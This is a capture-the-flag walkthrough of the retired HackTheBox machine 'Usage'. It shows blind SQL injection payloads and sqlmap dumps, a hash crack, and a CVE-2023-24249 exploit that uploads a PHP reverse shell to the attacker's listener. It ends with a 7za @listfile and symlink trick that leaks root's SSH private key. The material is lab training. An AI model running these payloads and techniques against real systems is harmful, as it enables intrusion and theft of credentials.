the_open_door
coffee
ESEN

Usage

HackTheBoxEasyLinux10.129.82.16610 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#sqli#blind-sqli#sqlmap#laravel#laravel-admin#cve-2023-24249#file-upload#bcrypt#john#monit#credential-hunting#sudo#7zip#symlink#ssh-key#linux#oscp
TL;DR. Usage is an easy Linux box with four hops and no repetition. Port 80 is a Laravel blog with three forms, and the one that breaks is not the login but the password reset: the e-mail address goes straight into the query and the page answers differently depending on the result, which is a textbook boolean oracle (blind SQL injection). That yields the administrator's bcrypt hash, which rockyou opens (hash cracking). The subdomain's panel runs encore/laravel-admin 1.8.18, carrying the file upload flaw of CVE-2023-24249: the profile avatar accepts a .php (file upload to RCE) and that is a shell as dash. In his home directory there is a .monitrc with a cleartext password (credential hunting) and with it comes xander, who may run a custom binary as root. That binary calls 7za with a wildcard, and 7-Zip has a quirk tar does not: a file called @something turns something into a file list. Point that list at root's SSH key through a symlink and the error message itself prints the whole key (7-Zip @listfile read).
About the evidence. Ten screenshots are published and all of them are browser shots: the application's three forms, the link that gives away the subdomain, the two responses that form the injection oracle (1=1 and 1=2, which only mean anything side by side), the request saved from Burp, the admin panel with its laravel-admin version on display and the PoC page. Terminals are published as text. One fidelity notice, placed where it belongs next to the su xander: the note annotates a password that is not the one in the file that motivates it, and both are stated. Both flags are complete because the box is retired.

Recon#

Initial scan#

The returning TTL points at the operating system: every OS starts it at a default value and every router decrements it by one per hop. ttl=63 is 64 minus one hop, so Linux.


ping -c 1 10.129.82.166
64 bytes from 10.129.82.166: icmp_seq=1 ttl=63 time=22.0 ms

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.82.166 -oG scan
...
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.91 seconds
           Raw packets sent: 71042 (3.126MB) | Rcvd: 65113 (2.605MB)

Two ports. With an SSH and a web server, all the work sits on 80 until a credential shows up.


nmap -p22,80 -sCV 10.129.82.166 -oN targetedScan
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.01 seconds

Did not follow redirect to http://usage.htb/ hands over the domain: nginx redirects by name, so nothing is visible until that name resolves locally.


echo '10.129.82.166 usage.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
10.129.82.166 usage.htb

HTTP - TCP 80#


whatweb http://usage.htb
http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.129.82.166], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

The cookies say everything: XSRF-TOKEN and laravel_session are Laravel's. And a Laravel means two practical things: every form will carry a _token that each request has to respect, and a badly written query returns a 500 instead of a SQL error message.

The home page source is the next thing to look at, because the navigation menu usually holds the whole application map.


curl http://usage.htb | tr -d '\n'
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100   5141   0   5141   0      0  70339      0<!DOCTYPE html><html><head>    <title>Daily Blogs</title>    ...    <nav class="navbar navbar-expand-lg navbar-light navbar-laravel">    <div class="container">        <a class="navbar-brand" href="#">Usage</a>    ...            <ul class="navbar-nav ml-auto">                                    <li class="nav-item">                        <a class="nav-link" href="http://usage.htb/login">Login</a>                    </li>                    <li class="nav-item">                        <a class="nav-link" href="http://usage.htb/registration">Register</a>                   </li>                   <li class="nav-item">                        <a class="nav-link" href="http://admin.usage.htb/">Admin</a>                    </li>                            </ul>    ...

Three routes and one of them is not a route but another host name: admin.usage.htb. The public home page's menu links straight to the administration panel.

The Admin link in the navigation bar boxed in red and the browser status bar showing http://admin.usage.htb


echo '10.129.82.166 admin.usage.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts
10.129.82.166 admin.usage.htb

The public application from the inside#

Registration is open, so the first move is to look at the application from inside and see what an ordinary user gets.

The registration form at usage.htb/registration filled in with the name test, the e-mail test@test.com and a password

The login form at usage.htb/login with the e-mail test@test.com and the password already typed

The usage.htb/dashboard panel after logging in, with the green "Logged In Successfully" notice and the Featured Blogs list

And what it gets is nothing: a list of blog posts, no uploads, no comments and not one action that touches the database with anything coming from the user. Registration and login give nothing either, because Laravel builds both with its own ORM.

That leaves the third form, the one almost nobody looks at: "Reset Password".

Access: blind SQL injection in the password reset#

The oracle#

A recovery form is a peculiar place: it has to look the address up in the users table and tell you whether it found it. That difference in response is, literally, one bit of information per request.

The forget-password form with 'or 1=1-- - in the e-mail field and the green notice "We have e-mailed your password reset link to 'or 1=1-- -"

The same form with 'or 1=2-- - and the red notice "Email address does not match in our records!"

The two screenshots only mean something together. With 'or 1=1-- - the condition is always true, the query returns rows and the application replies that it has sent the link. With 'or 1=2-- -, one character apart, the condition is always false, nothing comes back and the reply changes to the address not being in their records. That is not a database error message: it is the application behaving normally, which is why the injection is blind.

The trailing -- - is not decoration. The double dash comments out the rest of the query and MySQL requires a space after it; the third dash makes sure that space is not lost on the way.

The request, saved verbatim#

With a one-bit oracle, pulling a password out character by character by hand is thousands of requests. That is what sqlmap is for, but it has to be given the whole request: Laravel's _token and the two session cookies are mandatory, and a hand-rebuilt request is rejected on the first try.

Burp's Raw tab with the POST request to /forget-password, its Cookie header carrying XSRF-TOKEN and laravel_session, and the body _token=...&amp;email=a, being saved to the file req.txt


sqlmap -r ../content/req.txt -p email --batch --level 3
...
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 531 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=XwIsy6CpCeBMeIZtZUYMHNyaCtsTeEmmij7pEHBr&email=a' AND 2042=(SELECT (CASE WHEN (2042=2042) THEN 2042 ELSE (SELECT 3499 UNION SELECT 7369) END))-- adrC

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: _token=XwIsy6CpCeBMeIZtZUYMHNyaCtsTeEmmij7pEHBr&email=a' AND 5883=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- hQoI
---
[17:27:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL > 5.0.12
[17:27:06] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 231 times
[17:27:06] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/usage.htb'

[*] ending @ 17:27:06 /2026-10-29/

--level 3 is needed because by default sqlmap does not try every quote-closing shape; --batch answers yes to everything so it does not need watching. And the 231 HTTP 500s are not a tool failure: they are the requests where the query ended up broken, which is Laravel returning its error page. The useful confirmation is the one above, the boolean injection, which is the one the page answers without breaking.

The administrator's hash#

sqlmap already had the database name from the previous step, and in a Laravel Admin the interesting table is admin_users.


sqlmap -r ../content/req.txt -p email --batch --level 3 --dump -D usage_blog -T admin_users
...
[17:34:39] [INFO] fetching columns for table 'admin_users' in database 'usage_blog'
[17:34:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:34:39] [INFO] retrieved: 
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
8
[17:34:42] [INFO] retrieved: avatar
[17:34:53] [INFO] retrieved: 0
[17:34:56] [INFO] retrieved: created_at
[17:35:18] [INFO] retrieved: 0
[17:35:21] [INFO] retrieved: id
[17:35:27] [INFO] retrieved: 0
[17:35:30] [INFO] retrieved: name
[17:35:38] [INFO] retrieved: 0
[17:35:41] [INFO] retrieved: password
[17:35:59] [INFO] retrieved: 0
[17:36:03] [INFO] retrieved: remember^C^C

That output shows what a blind injection really costs: one character every few seconds, in a single thread, and what it is pulling is not data yet but the names of the eight columns. Halfway through remember_token it is cut short with Ctrl+C, because the two columns that matter have already come out: name and password.


sqlmap -r ../content/req.txt -p email --batch --level 3 --dump -D usage_blog -T admin_users -C name,password
...
[17:36:28] [INFO] fetching entries of column(s) '`name`,password' for table 'admin_users' in database 'usage_blog'
[17:36:28] [INFO] fetching number of column(s) '`name`,password' entries for table 'admin_users' in database 'usage_blog'
[17:36:28] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:36:28] [INFO] retrieved: 
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
1
[17:36:30] [INFO] retrieved: Administrator
[17:37:02] [INFO] retrieved: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
[17:39:40] [INFO] recognized possible password hashes in columns 'password, `name`'

-C name,password is what turns a half-hour dump into a three-minute one: one row only, and only two columns. The hash starts with $2y$10$, which is bcrypt at cost 10.

Cracking the bcrypt#


echo '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' > hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash
...
whatever1        (?)     

The (?) instead of a user name is because the file holds only the hash, without the user:hash john would expect. The password is whatever1.

The admin.usage.htb login with the user admin and the password whatever1 typed in and the Remember me box ticked

The one thing the dump did not give is on screen: the column pulled was name, the display name (Administrator), and the one that logs in is admin, which lives in another of the eight columns.

Shell as dash#

encore/laravel-admin 1.8.18#

The Laravel Admin panel carries an environment box on its front page, and there sits the only thing left to know.

The Dashboard at admin.usage.htb/admin with the Environment box (PHP 8.1.2, Laravel 10.18.0, nginx 1.18.0) and the Dependencies box, where encore/laravel-admin shows version 1.8.18

encore/laravel-admin 1.8.18. That is the version affected by CVE-2023-24249: a user's avatar upload does not validate the file type, so it accepts a .php and leaves it in a directory the web server can reach. Put another way, a field meant for a photo is code execution, but only for someone already authenticated as administrator, which is exactly what the SQL injection just achieved.

The CVE-2023-24249 PoC page with its requirements (python3, requests, beautifulsoup4) and the three usage steps: clone the repository, start a listener and run exploit.py with -u, -U, -P, -i and -p


penelope
[+] Listening for reverse shells on 0.0.0.0:4444 →  127.0.0.1 • 192.168.68.112 • 172.17.0.1 • 10.10.15.120
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)

git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit.git
...
Resolving deltas: 100% (1/1), done.

cd CVE-2023-24249-Exploit

ls
LICENSE  README.md  exploit.py

python3 exploit.py -u http://admin.usage.htb -U admin -P whatever1 -i 10.10.15.120 -p 4444
/machines/htb/usage/exploits/CVE-2023-24249-Exploit/exploit.py:8: SyntaxWarning: "\ " is an invalid escape sequence. Such sequences will not work in the future. Did you mean "\\ "? A raw string is also an option.
  / __\ \ / / __|_|_  )  \_  )__ /__|_  ) | |_  ) | |/ _ \\

  _____   _____   ___ __ ___ ____   ___ _ _ ___ _ _  ___
 / __\ \ / / __|_|_  )  \_  )__ /__|_  ) | |_  ) | |/ _ \                                                                                                    
| (__ \ V /| _|___/ / () / / |_ \___/ /|_  _/ /|_  _\_, /                                                                                                    
 \___| \_/ |___| /___\__/___|___/  /___| |_/___| |_| /_/  EXPLOIT by IDUZZEL

[+] Reverse shell uploaded successfully! Attempting to execute it...
[+] Reverse shell executed successfully! Check your listener at 10.10.15.120:4444

The SyntaxWarning on the first line is not a failure: Python is pointing out that the script's ASCII banner carries loose backslashes inside a normal string. The exploit does exactly the two steps it announces: it logs in with the credentials, uploads the file through the avatar and then requests it over HTTP so it runs.

[+] Listening for reverse shells on 0.0.0.0:4444 →  127.0.0.1 • 192.168.68.112 • 172.17.0.1 • 10.10.15.120
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from usage~10.129.82.166-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: Ctrl+P 
[+] Logging to /home/krmena/.penelope/sessions/usage~10.129.82.166-Linux-x86_64/2026_10_29-18_03_46-704.log 📜
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
dash@usage:/var/www/html/project_admin/public/uploads/images$ whoami
dash
dash@usage:/var/www/html/project_admin/public/uploads/images$ cd
dash@usage:~$ cat user.txt 
5fee7b6f1c67c7bdfd27007b0e370e5d

The working directory the shell lands in says it all: /var/www/html/project_admin/public/uploads/images, the avatars folder. And the user is not www-data: it is dash, a user with a home directory of his own, because PHP runs here under FPM as that account. Which is why the user flag is one cd away.

Pivoting to xander#

The password in .monitrc#


cat .monitrc
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring 
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert 
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert

monit is a process watchdog, and its configuration file lives in the home directory of whoever starts it. The line that matters is allow admin:<password>: it is the credential for its web interface, stored in the clear because the daemon has to be able to read it. The rest of the file is CPU and disk thresholds.


su xander
Password: 
xander@usage:/tmp$ whoami
xander
Fidelity notice. Next to that Password: the note annotates the string s3cr3t_c0d3d_1uth, which appears nowhere else in the note and in no screenshot. The only sourced credential in this whole step is the one in the .monitrc above, 3nc0d3d_pa$$w0rd, which is what motivates the su and what the prose explains. Both are stated and neither is chosen for you: what the material proves is that the file stores a cleartext password and that su xander gets in.

Privilege escalation: a 7za with a wildcard#

sudo -l: usage_management#


sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

A custom binary, with no password and no user restriction. It is not in GTFOBins because somebody wrote it for this box, so it has to be inspected. And for a small C executable the text strings usually do.


strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
__isoc99_scanf
perror
printf
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 
Invalid choice.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
usage_management.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
backupMysqlData
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
_fini
chdir@GLIBC_2.2.5
backupWebContent
system@GLIBC_2.2.5
printf@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
resetAdminPassword
perror@GLIBC_2.2.5
__isoc99_scanf@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

The symbol table gives the program's skeleton without decompiling it: three functions (backupWebContent, backupMysqlData, resetAdminPassword) and all three call system, which is handing a string to /bin/sh. The first one is behind option 1, and its string is right there in full:

chdir  →  /var/www/html
system →  /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *

The wildcard expands inside the directory it has just entered, and that directory is writable by the application's user. The leading -- closes the option list, so the classic trick of naming a file -something to sneak a parameter in does not work.

The @ in 7za#

But 7-Zip brings a syntax of its own: an argument starting with @ is not a file to compress, it is a list file, a text file with one filename per line. And the -- does not stop it, because it is not an option.

The whole chain falls out of that. Create an empty file called @id_rsa, which the wildcard hands to 7za as @id_rsa and makes it read its list from the file id_rsa. And leave that id_rsa pointing, through a symlink, at root's private key. Since the program runs under sudo the link is followed without complaint; 7za tries to use each line of the key as if it were a filename, finds none of them, and repeats the line in the warning.


cd /var/www/html

touch @id_rsa

ln -s /root/.ssh/id_rsa id_rsa

sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7513 32-Core Processor                 (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
--       
Path = /var/backups/project.zip
Type = zip
Physical Size = 54834725

Scanning the drive:
          
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----


WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW


WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi


WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q


WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs


WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=


WARNING: No more files
-----END OPENSSH PRIVATE KEY-----

2984 folders, 17959 files, 113880891 bytes (109 MiB)                          

Updating archive: /var/backups/project.zip

Items to compress: 20943

                                                                               
Files read from disk: 17959
Archive size: 54834725 bytes (53 MiB)

Scan WARNINGS for files and folders:

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files

The key comes out twice, during the scan and again in the closing summary, and it comes out whole: the header, the six base64 lines and the footer. The last decoded line ends in root@usage, which is the comment the key carries inside, confirming whose it is. It is an ed25519 key, which is why it fits in six lines instead of twenty.

SSH with root's key#


nano id_rsa

chmod 600 id_rsa

ssh -i id_rsa root@usage.htb
...
root@usage:~# cat /root/root.txt 
ea40e1b42c15a4c7f72dd74a7f254275

The chmod 600 is not fussiness: ssh refuses to use a private key other users on the system can read, and aborts before even trying to connect.

Box rooted.

Attack chain#

80 (nginx)  ─►  "Did not follow redirect to http://usage.htb/"
  │  whatweb: XSRF-TOKEN + laravel_session cookies  ─►  Laravel
  ▼
the home page menu links to http://admin.usage.htb/  ─►  second vhost
  │  of the three forms, the vulnerable one is "Reset Password"
  ▼
'or 1=1-- - answers "link sent" / 'or 1=2-- - answers "does not match"
  │  one-bit boolean oracle  ─►  request saved with its _token and cookies
  ▼
sqlmap -r req.txt -p email --level 3  ─►  boolean-based blind, MySQL
  │  --dump -D usage_blog -T admin_users -C name,password
  ▼
bcrypt $2y$10$...  ─►  john + rockyou  ─►  whatever1  (the user is admin)
  │  the panel declares encore/laravel-admin 1.8.18
  ▼
CVE-2023-24249: the profile avatar accepts a .php  ─►  shell as dash
  │  user.txt  +  cat ~/.monitrc  ─►  allow admin:<cleartext password>
  ▼
su xander  ─►  sudo -l: (ALL:ALL) NOPASSWD /usr/bin/usage_management
  │  strings: 7za a project.zip -tzip -snl -mmt -- *  from /var/www/html
  ▼
touch @id_rsa  +  ln -s /root/.ssh/id_rsa id_rsa
  │  7za reads the key as a list file and prints it in its warnings
  ▼
ssh -i id_rsa root@usage.htb  ─►  root.txt

Lessons learned#

  • The form nobody looks at is the one that breaks. Login and registration are built by Laravel with its ORM and are parameterised; the password recovery one had been written by hand. An application's attack surface is not its main function, it is its edges.
  • A different message is an information leak. "We have e-mailed your link" and "that address is not in our records" are two correct, polite answers, and together they make a one-bit oracle per request. No SQL error on screen was needed at all.
  • sqlmap takes the request, not the URL. With Laravel's _token and two session cookies in play, a hand-rebuilt request fails immediately. Saving it raw from the proxy is what makes the tool work.
  • Narrowing the dump saves half an hour. Pulling the eight columns blind ran at a character every few seconds; with -C name,password the same work is three minutes. In a blind injection, every character not asked for is time not spent.
  • The version was written on the panel itself. Laravel Admin's environment box publishes its dependencies with version numbers, and 1.8.18 was sitting there. Finding the CVE was not guessing, it was reading.
  • 7za is not tar, which is why -- is not enough. Whoever wrote the binary remembered to close the option list, the classic defence against wildcard injection, but 7-Zip also has the @list syntax, which is not an option and survives the --. A list file pointed at a private key makes the program print it in its own error output.
Command cheatsheet 20 commands

Quick review